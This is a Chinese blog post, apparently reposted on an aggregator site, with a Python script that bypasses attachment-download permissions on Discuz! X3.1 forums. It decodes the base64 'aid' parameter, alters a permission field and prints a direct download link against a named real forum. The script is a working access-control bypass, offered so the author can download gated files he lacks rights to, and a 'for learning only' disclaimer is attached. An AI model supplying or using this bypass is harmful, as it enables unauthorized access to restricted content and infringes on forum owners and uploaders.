Python 实现 Discuz论坛附件下载权限绕过漏洞

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python 实现 Discuz论坛附件下载权限绕过漏洞相关的知识,希望对你有一定的参考价值。


背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了。

所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”。所以写了下面程序。

0.将下列代码复制到你的python IDE中。

1.先进网页,chrome浏览器查看网页元素,替换正则表达式内内容。

2.刷新你要下载的页面,右键复制下载链接 url = ‘你复制的链接’

3.运行python,你的IDE里面就会打印出真实下载地址。

运行环境:python3.5

操作系统:macpro 2016

import base64
import re

# 这里是你鼠标单击右键-》保存要下载的链接。替换 url = ‘你复制下来的链接‘
# 其中"第一部分"是‘.forum.php?mod=attachment&aid=‘ "第二部分"是 forum.php?mod=attachment&aid=
# 后面会用到
url = forum.php?mod=attachment&aid=NjE4NzF8NmM2ZDU4Y2Z8MTQ5ODgzNjUyMnwwfDIyMTg3

# url0是你要下载的网址的主页,加上"第二部分" 也就是 "forum.php?mod=attachment&aid="
url0 = http://m.tracker.7do.net/forum.php?mod=attachment&aid=

# 正则表达,需要将括号内的"第一部分" 也就是 "forum.php\\?mod=attachment&aid=" 替换成你复制链接的第一部分
p = r(forum.php\\?mod=attachment&aid=)(.+)
aid = re.search(p, url).group(2)
z = base64.b64decode(aid)

#下面的正则不用管
# print(z)
p = r"(b‘)(.+)(‘)"
z1 = re.search(p, str(z)).group(2)
# print(z1)
p = r"(.+)(\\|0\\|)(.+)"
z2 = re.search(p,str(z1)).group(1)
p = r"(.+)(\\|0\\|)(.+)"
z3 = re.search(p,str(z1)).group(3)
# print(z2)
k = z2 + |2| + z3
k = bytes(k, encoding = "utf8")
# print(k)
# k = b‘61871|acf3aa27|1498835323|1|22187‘
j = base64.b64encode(k)
# print(j)
p = r"(b‘)(.+)(‘)"
j1 = re.search(p, str(j)).group(2)
# print(j1)

url1 = url0 + j1
print(url1)

备注:上面破解仅供学习使用,不要用在其他用途,如果侵权,请联系作者,也就是我,我会妥当处理。

不明白过程的,可以看下面的参考资料。

参考资料:

1. python str与bytes之间的转换

2.python中的正则表达式(re模块)

3.Discuz论坛附件下载权限绕过漏洞

 
 

以上是关于Python 实现 Discuz论坛附件下载权限绕过漏洞的主要内容,如果未能解决你的问题,请参考以下文章

怎样破解论坛交货币下载附件

Discuz!X3.1如何设置下载附件扣除积分

DISCUZ2.5上传大附件完毕之后,不显示。

论坛遇到附件上传失败问题总结(discuz)

如何安装Discuz论坛

最近在搞论坛,用DISCUZ,但是问题比较多啊,这次关于上传图片、附件又遇到问题了,望高手指点~~